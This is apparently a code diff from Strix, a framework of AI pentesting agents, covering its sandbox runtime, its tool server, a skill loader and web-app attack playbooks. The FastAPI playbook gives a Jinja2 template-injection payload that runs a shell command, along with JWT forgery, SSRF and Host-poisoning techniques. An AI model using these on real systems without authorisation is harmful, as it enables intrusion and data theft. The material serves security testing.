except (OSError, DockerException): except (OSError, DockerException):
logger.exception("Failed to copy local directory to container") logger.exception("Failed to copy local directory to container")
async def create_sandbox( async def create_sandbox(
self, agent_id: str, existing_token: str | None = None, local_source_path: str | None = None self,
agent_id: str,
existing_token: str | None = None,
local_sources: list[dict[str, str]] | None = None,
) -> SandboxInfo: ) -> SandboxInfo:
sandbox = self._get_sandbox_by_agent_id(agent_id)
auth_token = existing_token or self._generate_sandbox_token()
scan_id = self._get_scan_id(agent_id) scan_id = self._get_scan_id(agent_id)
volume_name = self._get_workspace_volume_name(scan_id) container = self._get_or_create_scan_container(scan_id)
self._ensure_workspace_volume(volume_name) source_copied_key = f"_source_copied_{scan_id}"
if local_sources and not hasattr(self, source_copied_key):
for index, source in enumerate(local_sources, start=1):
source_path = source.get("source_path")
if not source_path:
continue
if not sandbox: target_name = source.get("workspace_subdir")
logger.info("Creating new Docker sandbox for agent %s", agent_id) if not target_name:
try: target_name = Path(source_path).name or f"target_{index}"
tool_server_port = self._find_available_port()
caido_port = self._find_available_port()
volumes_config = {volume_name: {"bind": "/shared_workspace", "mode": "rw"}} self._copy_local_directory_to_container(container, source_path, target_name)
container_name = f"strix-{agent_id}" setattr(self, source_copied_key, True)
sandbox = self.client.containers.run( container_id = container.id
STRIX_IMAGE, if container_id is None:
command="sleep infinity",
detach=True,
name=container_name,
hostname=container_name,
ports={
f"{tool_server_port}/tcp": tool_server_port,
f"{caido_port}/tcp": caido_port,
},
cap_add=["NET_ADMIN", "NET_RAW"],
labels={
STRIX_AGENT_LABEL: agent_id,
STRIX_SCAN_LABEL: scan_id,
},
environment={
"PYTHONUNBUFFERED": "1",
"STRIX_AGENT_ID": agent_id,
"STRIX_SANDBOX_TOKEN": auth_token,
"STRIX_TOOL_SERVER_PORT": str(tool_server_port),
"CAIDO_PORT": str(caido_port),
},
volumes=volumes_config,
tty=True,
)
logger.info(
"Created new sandbox %s for agent %s with shared workspace %s",
sandbox.id,
agent_id,
volume_name,
)
except DockerException as e:
raise RuntimeError(f"Failed to create Docker sandbox: {e}") from e
assert sandbox is not None
if sandbox.status != "running":
sandbox.start()
time.sleep(15)
if local_source_path and volume_name not in _initialized_volumes:
self._copy_local_directory_to_container(sandbox, local_source_path)
_initialized_volumes.add(volume_name)
sandbox_id = sandbox.id
if sandbox_id is None:
raise RuntimeError("Docker container ID is unexpectedly None") raise RuntimeError("Docker container ID is unexpectedly None")
tool_server_port_str = sandbox.attrs["Config"]["Env"][ token = existing_token if existing_token is not None else self._tool_server_token
next(
(
i
for i, s in enumerate(sandbox.attrs["Config"]["Env"])
if s.startswith("STRIX_TOOL_SERVER_PORT=")
),
-1,
)
].split("=")[1]
tool_server_port = int(tool_server_port_str)
api_url = await self.get_sandbox_url(sandbox_id, tool_server_port) if self._tool_server_port is None or token is None:
raise RuntimeError("Tool server not initialized or no token available")
api_url = await self.get_sandbox_url(container_id, self._tool_server_port)
await self._register_agent_with_tool_server(api_url, agent_id, token)
return { return {
"workspace_id": sandbox_id, "workspace_id": container_id,
"api_url": api_url, "api_url": api_url,
"auth_token": auth_token, "auth_token": token,
"tool_server_port": tool_server_port, "tool_server_port": self._tool_server_port,
"agent_id": agent_id,
} }
async def get_sandbox_url(self, sandbox_id: str, port: int) -> str: async def _register_agent_with_tool_server(
self, api_url: str, agent_id: str, token: str
) -> None:
import httpx
try: try:
container = self.client.containers.get(sandbox_id) async with httpx.AsyncClient(trust_env=False) as client:
response = await client.post(
f"{api_url}/register_agent",
params={"agent_id": agent_id},
headers={"Authorization": f"Bearer {token}"},
timeout=30,
)
response.raise_for_status()
logger.info(f"Registered agent {agent_id} with tool server")
except (httpx.RequestError, httpx.HTTPStatusError) as e:
logger.warning(f"Failed to register agent {agent_id}: {e}")
async def get_sandbox_url(self, container_id: str, port: int) -> str:
try:
container = self.client.containers.get(container_id)
container.reload() container.reload()
host = "localhost" host = self._resolve_docker_host()
if "DOCKER_HOST" in os.environ:
docker_host = os.environ["DOCKER_HOST"]
if "://" in docker_host:
host = docker_host.split("://")[1].split(":")[0]
except NotFound: except NotFound:
raise ValueError(f"Sandbox {sandbox_id} not found.") from None raise ValueError(f"Container {container_id} not found.") from None
except DockerException as e: except DockerException as e:
raise RuntimeError(f"Failed to get sandbox URL for {sandbox_id}: {e}") from e raise RuntimeError(f"Failed to get container URL for {container_id}: {e}") from e
else: else:
return f"http://{host}:{port}" return f"http://{host}:{port}"
async def destroy_sandbox(self, sandbox_id: str) -> None: def _resolve_docker_host(self) -> str:
logger.info("Destroying Docker sandbox %s", sandbox_id) docker_host = os.getenv("DOCKER_HOST", "")
if not docker_host:
return "127.0.0.1"
from urllib.parse import urlparse
parsed = urlparse(docker_host)
if parsed.scheme in ("tcp", "http", "https") and parsed.hostname:
return parsed.hostname
return "127.0.0.1"
def _get_extra_hosts(self) -> dict[str, str]:
return {HOST_GATEWAY_HOSTNAME: "host-gateway"}
async def destroy_sandbox(self, container_id: str) -> None:
logger.info("Destroying scan container %s", container_id)
try: try:
container = self.client.containers.get(sandbox_id) container = self.client.containers.get(container_id)
scan_id = None
if container.labels and STRIX_SCAN_LABEL in container.labels:
scan_id = container.labels[STRIX_SCAN_LABEL]
container.stop() container.stop()
container.remove() container.remove()
logger.info("Successfully destroyed sandbox %s", sandbox_id) logger.info("Successfully destroyed container %s", container_id)
if scan_id: self._scan_container = None
await self._cleanup_workspace_if_empty(scan_id) self._tool_server_port = None
self._tool_server_token = None
except NotFound: except NotFound:
logger.warning("Sandbox %s not found for destruction.", sandbox_id) logger.warning("Container %s not found for destruction.", container_id)
except DockerException as e: except DockerException as e:
logger.warning("Failed to destroy sandbox %s: %s", sandbox_id, e) logger.warning("Failed to destroy container %s: %s", container_id, e)
async def _cleanup_workspace_if_empty(self, scan_id: str) -> None:
try:
volume_name = self._get_workspace_volume_name(scan_id)
containers = self.client.containers.list(
all=True, filters={"label": f"{STRIX_SCAN_LABEL}={scan_id}"}
)
if not containers:
try:
volume = self.client.volumes.get(volume_name)
volume.remove()
logger.info(
f"Cleaned up workspace volume {volume_name} for completed scan {scan_id}"
)
_initialized_volumes.discard(volume_name)
except NotFound:
logger.debug(f"Volume {volume_name} already removed")
except DockerException as e:
logger.warning(f"Failed to remove volume {volume_name}: {e}")
except DockerException as e:
logger.warning("Error during workspace cleanup for scan %s: %s", scan_id, e)
async def cleanup_scan_workspace(self, scan_id: str) -> None:
await self._cleanup_workspace_if_empty(scan_id)
+7 -3
View File
@@ -7,19 +7,23 @@ class SandboxInfo(TypedDict):
api_url: str api_url: str
auth_token: str | None auth_token: str | None
tool_server_port: int tool_server_port: int
agent_id: str
class AbstractRuntime(ABC): class AbstractRuntime(ABC):
@abstractmethod @abstractmethod
async def create_sandbox( async def create_sandbox(
self, agent_id: str, existing_token: str | None = None, local_source_path: str | None = None self,
agent_id: str,
existing_token: str | None = None,
local_sources: list[dict[str, str]] | None = None,
) -> SandboxInfo: ) -> SandboxInfo:
raise NotImplementedError raise NotImplementedError
@abstractmethod @abstractmethod
async def get_sandbox_url(self, sandbox_id: str, port: int) -> str: async def get_sandbox_url(self, container_id: str, port: int) -> str:
raise NotImplementedError raise NotImplementedError
@abstractmethod @abstractmethod
async def destroy_sandbox(self, sandbox_id: str) -> None: async def destroy_sandbox(self, container_id: str) -> None:
raise NotImplementedError raise NotImplementedError
+136 -28
View File
@@ -1,7 +1,15 @@
from __future__ import annotations
import argparse
import asyncio
import logging import logging
import os import os
import signal
import sys
from multiprocessing import Process, Queue
from typing import Any from typing import Any
import uvicorn
from fastapi import Depends, FastAPI, HTTPException, status from fastapi import Depends, FastAPI, HTTPException, status
from fastapi.security import HTTPAuthorizationCredentials, HTTPBearer from fastapi.security import HTTPAuthorizationCredentials, HTTPBearer
from pydantic import BaseModel, ValidationError from pydantic import BaseModel, ValidationError
@@ -11,20 +19,25 @@ SANDBOX_MODE = os.getenv("STRIX_SANDBOX_MODE", "false").lower() == "true"
if not SANDBOX_MODE: if not SANDBOX_MODE:
raise RuntimeError("Tool server should only run in sandbox mode (STRIX_SANDBOX_MODE=true)") raise RuntimeError("Tool server should only run in sandbox mode (STRIX_SANDBOX_MODE=true)")
EXPECTED_TOKEN = os.getenv("STRIX_SANDBOX_TOKEN") parser = argparse.ArgumentParser(description="Start Strix tool server")
if not EXPECTED_TOKEN: parser.add_argument("--token", required=True, help="Authentication token")
raise RuntimeError("STRIX_SANDBOX_TOKEN environment variable is required in sandbox mode") parser.add_argument("--host", default="0.0.0.0", help="Host to bind to") # nosec
parser.add_argument("--port", type=int, required=True, help="Port to bind to")
args = parser.parse_args()
EXPECTED_TOKEN = args.token
app = FastAPI() app = FastAPI()
logger = logging.getLogger(__name__)
security = HTTPBearer() security = HTTPBearer()
security_dependency = Depends(security) security_dependency = Depends(security)
agent_processes: dict[str, dict[str, Any]] = {}
agent_queues: dict[str, dict[str, Queue[Any]]] = {}
def verify_token(credentials: HTTPAuthorizationCredentials) -> str: def verify_token(credentials: HTTPAuthorizationCredentials) -> str:
if not credentials or credentials.scheme != "Bearer": if not credentials or credentials.scheme != "Bearer":
logger.warning("Authentication failed: Invalid or missing Bearer token scheme")
raise HTTPException( raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED, status_code=status.HTTP_401_UNAUTHORIZED,
detail="Invalid authentication scheme. Bearer token required.", detail="Invalid authentication scheme. Bearer token required.",
@@ -32,18 +45,17 @@ def verify_token(credentials: HTTPAuthorizationCredentials) -> str:
) )
if credentials.credentials != EXPECTED_TOKEN: if credentials.credentials != EXPECTED_TOKEN:
logger.warning("Authentication failed: Invalid token provided from remote host")
raise HTTPException( raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED, status_code=status.HTTP_401_UNAUTHORIZED,
detail="Invalid authentication token", detail="Invalid authentication token",
headers={"WWW-Authenticate": "Bearer"}, headers={"WWW-Authenticate": "Bearer"},
) )
logger.debug("Authentication successful for tool execution request")
return credentials.credentials return credentials.credentials
class ToolExecutionRequest(BaseModel): class ToolExecutionRequest(BaseModel):
agent_id: str
tool_name: str tool_name: str
kwargs: dict[str, Any] kwargs: dict[str, Any]
@@ -53,45 +65,141 @@ class ToolExecutionResponse(BaseModel):
error: str | None = None error: str | None = None
def agent_worker(_agent_id: str, request_queue: Queue[Any], response_queue: Queue[Any]) -> None:
null_handler = logging.NullHandler()
root_logger = logging.getLogger()
root_logger.handlers = [null_handler]
root_logger.setLevel(logging.CRITICAL)
from strix.tools.argument_parser import ArgumentConversionError, convert_arguments
from strix.tools.registry import get_tool_by_name
while True:
try:
request = request_queue.get()
if request is None:
break
tool_name = request["tool_name"]
kwargs = request["kwargs"]
try:
tool_func = get_tool_by_name(tool_name)
if not tool_func:
response_queue.put({"error": f"Tool '{tool_name}' not found"})
continue
converted_kwargs = convert_arguments(tool_func, kwargs)
result = tool_func(**converted_kwargs)
response_queue.put({"result": result})
except (ArgumentConversionError, ValidationError) as e:
response_queue.put({"error": f"Invalid arguments: {e}"})
except (RuntimeError, ValueError, ImportError) as e:
response_queue.put({"error": f"Tool execution error: {e}"})
except (RuntimeError, ValueError, ImportError) as e:
response_queue.put({"error": f"Worker error: {e}"})
def ensure_agent_process(agent_id: str) -> tuple[Queue[Any], Queue[Any]]:
if agent_id not in agent_processes:
request_queue: Queue[Any] = Queue()
response_queue: Queue[Any] = Queue()
process = Process(
target=agent_worker, args=(agent_id, request_queue, response_queue), daemon=True
)
process.start()
agent_processes[agent_id] = {"process": process, "pid": process.pid}
agent_queues[agent_id] = {"request": request_queue, "response": response_queue}
return agent_queues[agent_id]["request"], agent_queues[agent_id]["response"]
@app.post("/execute", response_model=ToolExecutionResponse) @app.post("/execute", response_model=ToolExecutionResponse)
async def execute_tool( async def execute_tool(
request: ToolExecutionRequest, credentials: HTTPAuthorizationCredentials = security_dependency request: ToolExecutionRequest, credentials: HTTPAuthorizationCredentials = security_dependency
) -> ToolExecutionResponse: ) -> ToolExecutionResponse:
verify_token(credentials) verify_token(credentials)
from strix.tools.argument_parser import ArgumentConversionError, convert_arguments request_queue, response_queue = ensure_agent_process(request.agent_id)
from strix.tools.registry import get_tool_by_name
request_queue.put({"tool_name": request.tool_name, "kwargs": request.kwargs})
try: try:
tool_func = get_tool_by_name(request.tool_name) loop = asyncio.get_event_loop()
if not tool_func: response = await loop.run_in_executor(None, response_queue.get)
return ToolExecutionResponse(error=f"Tool '{request.tool_name}' not found")
converted_kwargs = convert_arguments(tool_func, request.kwargs) if "error" in response:
return ToolExecutionResponse(error=response["error"])
return ToolExecutionResponse(result=response.get("result"))
result = tool_func(**converted_kwargs) except (RuntimeError, ValueError, OSError) as e:
return ToolExecutionResponse(error=f"Worker error: {e}")
return ToolExecutionResponse(result=result)
except (ArgumentConversionError, ValidationError) as e: @app.post("/register_agent")
logger.warning("Invalid tool arguments: %s", e) async def register_agent(
return ToolExecutionResponse(error=f"Invalid arguments: {e}") agent_id: str, credentials: HTTPAuthorizationCredentials = security_dependency
except TypeError as e: ) -> dict[str, str]:
logger.warning("Tool execution type error: %s", e) verify_token(credentials)
return ToolExecutionResponse(error=f"Tool execution error: {e}")
except ValueError as e: ensure_agent_process(agent_id)
logger.warning("Tool execution value error: %s", e) return {"status": "registered", "agent_id": agent_id}
return ToolExecutionResponse(error=f"Tool execution error: {e}")
except Exception:
logger.exception("Unexpected error during tool execution")
return ToolExecutionResponse(error="Internal server error")
@app.get("/health") @app.get("/health")
async def health_check() -> dict[str, str]: async def health_check() -> dict[str, Any]:
return { return {
"status": "healthy", "status": "healthy",
"sandbox_mode": str(SANDBOX_MODE), "sandbox_mode": str(SANDBOX_MODE),
"environment": "sandbox" if SANDBOX_MODE else "main", "environment": "sandbox" if SANDBOX_MODE else "main",
"auth_configured": "true" if EXPECTED_TOKEN else "false", "auth_configured": "true" if EXPECTED_TOKEN else "false",
"active_agents": len(agent_processes),
"agents": list(agent_processes.keys()),
} }
def cleanup_all_agents() -> None:
for agent_id in list(agent_processes.keys()):
try:
agent_queues[agent_id]["request"].put(None)
process = agent_processes[agent_id]["process"]
process.join(timeout=1)
if process.is_alive():
process.terminate()
process.join(timeout=1)
if process.is_alive():
process.kill()
except (BrokenPipeError, EOFError, OSError):
pass
except (RuntimeError, ValueError) as e:
logging.getLogger(__name__).debug(f"Error during agent cleanup: {e}")
def signal_handler(_signum: int, _frame: Any) -> None:
signal.signal(signal.SIGPIPE, signal.SIG_IGN) if hasattr(signal, "SIGPIPE") else None
cleanup_all_agents()
sys.exit(0)
if hasattr(signal, "SIGPIPE"):
signal.signal(signal.SIGPIPE, signal.SIG_IGN)
signal.signal(signal.SIGTERM, signal_handler)
signal.signal(signal.SIGINT, signal_handler)
if __name__ == "__main__":
try:
uvicorn.run(app, host=args.host, port=args.port, log_level="info")
finally:
cleanup_all_agents()
+64
View File
@@ -0,0 +1,64 @@
# 📚 Strix Skills
## 🎯 Overview
Skills are specialized knowledge packages that enhance Strix agents with deep expertise in specific vulnerability types, technologies, and testing methodologies. Each skill provides advanced techniques, practical examples, and validation methods that go beyond baseline security knowledge.
---
## 🏗️ Architecture
### How Skills Work
When an agent is created, it can load up to 5 specialized skills relevant to the specific subtask and context at hand:
```python
# Agent creation with specialized skills
create_agent(
task="Test authentication mechanisms in API",
name="Auth Specialist",
skills="authentication_jwt,business_logic"
)
```
The skills are dynamically injected into the agent's system prompt, allowing it to operate with deep expertise tailored to the specific vulnerability types or technologies required for the task at hand.
---
## 📁 Skill Categories
| Category | Purpose |
|----------|---------|
| **`/vulnerabilities`** | Advanced testing techniques for core vulnerability classes like authentication bypasses, business logic flaws, and race conditions |
| **`/frameworks`** | Specific testing methods for popular frameworks e.g. Django, Express, FastAPI, and Next.js |
| **`/technologies`** | Specialized techniques for third-party services such as Supabase, Firebase, Auth0, and payment gateways |
| **`/protocols`** | Protocol-specific testing patterns for GraphQL, WebSocket, OAuth, and other communication standards |
| **`/cloud`** | Cloud provider security testing for AWS, Azure, GCP, and Kubernetes environments |
| **`/reconnaissance`** | Advanced information gathering and enumeration techniques for comprehensive attack surface mapping |
| **`/custom`** | Community-contributed skills for specialized or industry-specific testing scenarios |
---
## 🎨 Creating New Skills
### What Should a Skill Contain?
A good skill is a structured knowledge package that typically includes:
- **Advanced techniques** - Non-obvious methods specific to the task and domain
- **Practical examples** - Working payloads, commands, or test cases with variations
- **Validation methods** - How to confirm findings and avoid false positives
- **Context-specific insights** - Environment and version nuances, configuration-dependent behavior, and edge cases
Skills use XML-style tags for structure and focus on deep, specialized knowledge that significantly enhances agent capabilities for that specific context.
---
## 🤝 Contributing
Community contributions are more than welcome — contribute new skills via [pull requests](https://github.com/usestrix/strix/pulls) or [GitHub issues](https://github.com/usestrix/strix/issues) to help expand the collection and improve extensibility for Strix agents.
---
> [!NOTE]
> **Work in Progress** - We're actively expanding the skills collection with specialized techniques and new categories.
+107
View File
@@ -0,0 +1,107 @@
from pathlib import Path
from jinja2 import Environment
def get_available_skills() -> dict[str, list[str]]:
skills_dir = Path(__file__).parent
available_skills = {}
for category_dir in skills_dir.iterdir():
if category_dir.is_dir() and not category_dir.name.startswith("__"):
category_name = category_dir.name
skills = []
for file_path in category_dir.glob("*.jinja"):
skill_name = file_path.stem
skills.append(skill_name)
if skills:
available_skills[category_name] = sorted(skills)
return available_skills
def get_all_skill_names() -> set[str]:
all_skills = set()
for category_skills in get_available_skills().values():
all_skills.update(category_skills)
return all_skills
def validate_skill_names(skill_names: list[str]) -> dict[str, list[str]]:
available_skills = get_all_skill_names()
valid_skills = []
invalid_skills = []
for skill_name in skill_names:
if skill_name in available_skills:
valid_skills.append(skill_name)
else:
invalid_skills.append(skill_name)
return {"valid": valid_skills, "invalid": invalid_skills}
def generate_skills_description() -> str:
available_skills = get_available_skills()
if not available_skills:
return "No skills available"
all_skill_names = get_all_skill_names()
if not all_skill_names:
return "No skills available"
sorted_skills = sorted(all_skill_names)
skills_str = ", ".join(sorted_skills)
description = f"List of skills to load for this agent (max 5). Available skills: {skills_str}. "
example_skills = sorted_skills[:2]
if example_skills:
example = f"Example: {', '.join(example_skills)} for specialized agent"
description += example
return description
def load_skills(skill_names: list[str], jinja_env: Environment) -> dict[str, str]:
import logging
logger = logging.getLogger(__name__)
skill_content = {}
skills_dir = Path(__file__).parent
available_skills = get_available_skills()
for skill_name in skill_names:
try:
skill_path = None
if "/" in skill_name:
skill_path = f"{skill_name}.jinja"
else:
for category, skills in available_skills.items():
if skill_name in skills:
skill_path = f"{category}/{skill_name}.jinja"
break
if not skill_path:
root_candidate = f"{skill_name}.jinja"
if (skills_dir / root_candidate).exists():
skill_path = root_candidate
if skill_path and (skills_dir / skill_path).exists():
template = jinja_env.get_template(skill_path)
var_name = skill_name.split("/")[-1]
skill_content[var_name] = template.render()
logger.info(f"Loaded skill: {skill_name} -> {var_name}")
else:
logger.warning(f"Skill not found: {skill_name}")
except (FileNotFoundError, OSError, ValueError) as e:
logger.warning(f"Failed to load skill {skill_name}: {e}")
return skill_content
View File
@@ -28,7 +28,7 @@ AGENT TYPES YOU CAN CREATE:
COORDINATION GUIDELINES: COORDINATION GUIDELINES:
- Ensure clear task boundaries and success criteria - Ensure clear task boundaries and success criteria
- Terminate redundant agents when objectives overlap - Terminate redundant agents when objectives overlap
- Use message passing for agent communication - Use message passing only when essential (requests/answers or critical handoffs); avoid routine status messages and prefer batched updates
</agent_management> </agent_management>
<final_responsibilities> <final_responsibilities>
View File
+142
View File
@@ -0,0 +1,142 @@
<fastapi_security_testing_guide>
<title>FASTAPI — ADVERSARIAL TESTING PLAYBOOK</title>
<critical>FastAPI (on Starlette) spans HTTP, WebSocket, and background tasks with powerful dependency injection and automatic OpenAPI. Security breaks where identity, authorization, and validation drift across routers, middlewares, proxies, and channels. Treat every dependency, header, and object reference as untrusted until bound to the caller and tenant.</critical>
<surface_map>
- ASGI stack: Starlette middlewares (CORS, TrustedHost, ProxyHeaders, Session), exception handlers, lifespan events
- Routers/sub-apps: APIRouter with prefixes/tags, mounted apps (StaticFiles, admin subapps), `include_router`, versioned paths
- Security and DI: `Depends`, `Security`, `OAuth2PasswordBearer`, `HTTPBearer`, scopes, per-router vs per-route dependencies
- Models and validation: Pydantic v1/v2 models, unions/Annotated, custom validators, extra fields policy, coercion
- Docs and schema: `/openapi.json`, `/docs`, `/redoc`, alternative docs_url/redoc_url, schema extensions
- Files and static: `UploadFile`, `File`, `FileResponse`, `StaticFiles` mounts, template engines (`Jinja2Templates`)
- Channels: HTTP (sync/async), WebSocket, StreamingResponse/SSE, BackgroundTasks/Task queues
- Deployment: Uvicorn/Gunicorn, reverse proxies/CDN, TLS termination, header trust
</surface_map>
<methodology>
1. Enumerate routes from OpenAPI and via crawling; diff with 404-fuzzing for hidden endpoints (`include_in_schema=False`).
2. Build a Principal × Channel × Content-Type matrix (unauth, user, staff/admin; HTTP vs WebSocket; JSON/form/multipart) and capture baselines.
3. For each route, identify dependencies (router-level and route-level). Attempt to satisfy security dependencies minimally, then mutate context (tokens, scopes, tenant headers) and object IDs.
4. Compare behavior across deployments: dev/stage/prod often differ in middlewares (CORS, TrustedHost, ProxyHeaders) and docs exposure.
</methodology>
<high_value_targets>
- `/openapi.json`, `/docs`, `/redoc` in production (full attack surface map; securitySchemes and server URLs)
- Auth flows: token endpoints, session/cookie bridges, OAuth device/PKCE, scope checks
- Admin/staff routers, feature-flagged routes, `include_in_schema=False` endpoints
- File upload/download, import/export/report endpoints, signed URL generators
- WebSocket endpoints carrying notifications, admin channels, or commands
- Background job creation/fetch (`/jobs/{id}`, `/tasks/{id}/result`)
- Mounted subapps (admin UI, storage browsers, metrics/health endpoints)
</high_value_targets>
<advanced_techniques>
<openapi_and_docs>
- Try default and alternate locations: `/openapi.json`, `/docs`, `/redoc`, `/api/openapi.json`, `/internal/openapi.json`.
- If OpenAPI is exposed, mine: paths, parameter names, securitySchemes, scopes, servers; find endpoints hidden in UI but present in schema.
- Schema drift: endpoints with `include_in_schema=False` wont appear—use wordlists based on tags/prefixes and common admin/debug names.
</openapi_and_docs>
<dependency_injection_and_security>
- Router vs route dependencies: routes may miss security dependencies present elsewhere; check for unprotected variants of protected actions.
- Minimal satisfaction: `OAuth2PasswordBearer` only yields a token string—verify if any route treats token presence as auth without verification.
- Scope checks: ensure scopes are enforced by the dependency (e.g., `Security(...)`); routes using `Depends` instead may ignore requested scopes.
- Header/param aliasing: DI sources headers/cookies/query by name; try case variations and duplicates to influence which value binds.
</dependency_injection_and_security>
<auth_and_jwt>
- Token misuse: developers may decode JWTs without verifying signature/issuer/audience; attempt unsigned/attacker-signed tokens and cross-service audiences.
- Algorithm/key confusion: try HS/RS cross-use if verification is not pinned; inject `kid` header targeting local files/paths where custom key lookup exists.
- Session bridges: check cookies set via SessionMiddleware or custom cookies. Attempt session fixation and forging if weak `secret_key` or predictable signing is used.
- Device/PKCE flows: verify strict PKCE S256 and state/nonce enforcement if OAuth/OIDC is integrated.
</auth_and_jwt>
<cors_and_csrf>
- CORS reflection: broad `allow_origin_regex` or mis-specified origins can permit cross-site reads; test arbitrary Origins and credentialed requests.
- CSRF: FastAPI/Starlette lack built-in CSRF. If cookies carry auth, attempt state-changing requests via cross-site forms/XHR; validate origin header checks and same-site settings.
</cors_and_csrf>
<proxy_and_host_trust>
- ProxyHeadersMiddleware: if enabled without network boundary, spoof `X-Forwarded-For/Proto` to influence auth/IP gating and secure redirects.
- TrustedHostMiddleware absent or lax: perform Host header poisoning; attempt password reset links / absolute URL generation under attacker host.
- Upstream/CDN cache keys: ensure Vary on Authorization/Cookie/Tenant; try cache key confusion to leak personalized responses.
</proxy_and_host_trust>
<static_and_uploads>
- UploadFile.filename: attempt path traversal and control characters; verify server joins/sanitizes and enforces storage roots.
- FileResponse/StaticFiles: confirm directory boundaries and index/auto-listing; probe symlinks and case/encoding variants.
- Parser differentials: send JSON vs multipart for the same route to hit divergent code paths/validators.
</static_and_uploads>
<template_injection>
- Jinja2 templates via `TemplateResponse`: search for unescaped injection in variables and filters. Probe with minimal expressions:
{% raw %}- `{{7*7}}` → arithmetic confirmation
- `{{cycler.__init__.__globals__['os'].popen('id').read()}}` for RCE in unsafe contexts{% endraw %}
- Confirm autoescape and strict sandboxing; inspect custom filters/globals.
</template_injection>
<ssrf_and_outbound>
- Endpoints fetching user-supplied URLs (imports, previews, webhooks validation): test loopback/RFC1918/IPv6, redirects, DNS rebinding, and header control.
- Library behavior (httpx/requests): examine redirect policy, header forwarding, and protocol support; try `file://`, `ftp://`, or gopher-like shims if custom clients are used.
</ssrf_and_outbound>
<websockets>
- Authenticate each connection (query/header/cookie). Attempt cross-origin handshakes and cookie-bearing WS from untrusted origins.
- Topic naming and authorization: if using user/tenant IDs in channels, subscribe/publish to foreign IDs.
- Message-level checks: ensure per-message authorization, not only at handshake.
</websockets>
<background_tasks_and_jobs>
- BackgroundTasks that act on IDs must re-enforce ownership/tenant at execution time. Attempt to fetch/cancel others jobs by referencing their IDs.
- Export/import pipelines: test job/result endpoints for IDOR and cross-tenant leaks.
</background_tasks_and_jobs>
<multi_app_mounting>
- Mounted subapps (e.g., `/admin`, `/static`, `/metrics`) may bypass global middlewares. Confirm middleware parity and auth on mounts.
</multi_app_mounting>
</advanced_techniques>
<bypass_techniques>
- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data` to traverse alternate validators/handlers.
- Parameter duplication and case variants to exploit DI precedence.
- Method confusion via proxies (e.g., `X-HTTP-Method-Override`) if upstream respects it while app does not.
- Race windows around dependency-validated state transitions (issue token then mutate with parallel requests).
</bypass_techniques>
<special_contexts>
<pydantic_edges>
- Coercion: strings to ints/bools, empty strings to None; exploit truthiness and boundary conditions.
- Extra fields: if models allow/ignore extras, sneak in control fields for downstream logic (scope/role/ownerId) that are later trusted.
- Unions and `Annotated`: craft shapes hitting unintended branches.
</pydantic_edges>
<graphql_and_alt_stacks>
- If GraphQL (Strawberry/Graphene) is mounted, validate resolver-level authorization and IDOR on node/global IDs.
- If SQLModel/SQLAlchemy present, probe for raw query usage and row-level authorization gaps.
</graphql_and_alt_stacks>
</special_contexts>
<validation>
1. Show unauthorized data access or action with side-by-side owner vs non-owner requests (or different tenants).
2. Demonstrate cross-channel consistency (HTTP and WebSocket) for the same rule.
3. Include proof where proxies/headers/caches alter outcomes (Host/XFF/CORS).
4. Provide minimal payloads confirming template/SSRF execution or token misuse, with safe or OAST-based oracles.
5. Document exact dependency paths (router-level, route-level) that missed enforcement.
</validation>
<pro_tips>
1. Always fetch `/openapi.json` first; its the blueprint. If hidden, brute-force likely admin/report/export routes.
2. Trace dependencies per route; map which ones enforce auth/scopes vs merely parse input.
3. Treat tokens returned by `OAuth2PasswordBearer` as untrusted strings—verify actual signature and claims on the server.
4. Test CORS with arbitrary Origins and with credentials; verify preflight and actual request deltas.
5. Add Host and X-Forwarded-* fuzzing when behind proxies; watch for redirect/absolute URL differences.
6. For uploads, vary filename encodings, dot segments, and NUL-like bytes; verify storage paths and served URLs.
7. Use content-type toggling to hit alternate validators and code paths.
8. For WebSockets, test cookie-based auth, origin restrictions, and per-message authorization.
9. Mine client bundles/env for secret paths and preview/admin flags; many teams hide routes via UI only.
10. Keep PoCs minimal and durable (IDs, headers, small payloads) and prefer reproducible diffs over noisy payloads.
</pro_tips>
<remember>Authorization and validation must be enforced in the dependency graph and at the resource boundary for every path and channel. If any route, middleware, or mount skips binding subject, action, and object/tenant, expect cross-user and cross-tenant breakage.</remember>
</fastapi_security_testing_guide>
+152
View File
@@ -0,0 +1,152 @@
<nextjs_security_testing_guide>
<title>NEXT.JS — ADVERSARIAL TESTING PLAYBOOK</title>
<critical>Modern Next.js combines multiple execution contexts (Edge, Node, RSC, client) with smart caching (ISR/RSC fetch cache), middleware, and server actions. Authorization and cache boundaries must be enforced consistently across all paths or attackers will cross tenants, leak data, or invoke privileged actions.</critical>
<surface_map>
- Routers: App Router (`app/`) and Pages Router (`pages/`) coexist; test both
- Runtimes: Node.js vs Edge (V8 isolates with restricted APIs)
- Data paths: RSC (server components), Client components, Route Handlers (`app/api/**`), API routes (`pages/api/**`)
- Middleware: `middleware.ts`/`_middleware.ts`
- Rendering modes: SSR, SSG, ISR, on-demand revalidation, draft/preview mode
- Images: `next/image` optimization and remote loader
- Auth: NextAuth.js (callbacks, CSRF/state, callbackUrl), custom JWT/session bridges
- Server Actions: streamed POST with `Next-Action` header and action IDs
</surface_map>
<methodology>
1. Inventory routes (pages + app), static vs dynamic segments, and params. Map middleware coverage and runtime per path.
2. Capture baseline for each role (unauth, user, admin) across SSR, API routes, Route Handlers, Server Actions, and streaming data.
3. Diff responses while toggling runtime (Edge/Node), content-type, fetch cache directives, and preview/draft mode.
4. Probe caching and revalidation boundaries (ISR, RSC fetch, CDN) for cross-user/tenant leaks.
</methodology>
<high_value_targets>
- Middleware-protected routes (auth, geo, A/B)
- Admin/staff paths, draft/preview content, on-demand revalidate endpoints
- RSC payloads and flight data, streamed responses (server actions)
- Image optimizer and custom loaders, remotePatterns/domains
- NextAuth callbacks (`/api/auth/callback/*`), sign-in providers, CSRF/state handling
- Edge-only features (bot protection, IP gates) and their Node equivalents
</high_value_targets>
<advanced_techniques>
<route_enumeration>
- __BUILD_MANIFEST.sortedPages: Execute `console.log(__BUILD_MANIFEST.sortedPages.join('\n'))` in browser console to instantly reveal all registered routes (Pages Router and static App Router paths compiled at build time)
- __NEXT_DATA__: Inspect `<script id="__NEXT_DATA__">` for serverside props, pageProps, buildId, and dynamic route params on current page; reveals data flow and prop structure
- Source maps exposure: Check `/_next/static/` for exposed .map files revealing full route structure, server action IDs, API endpoints, and internal function names
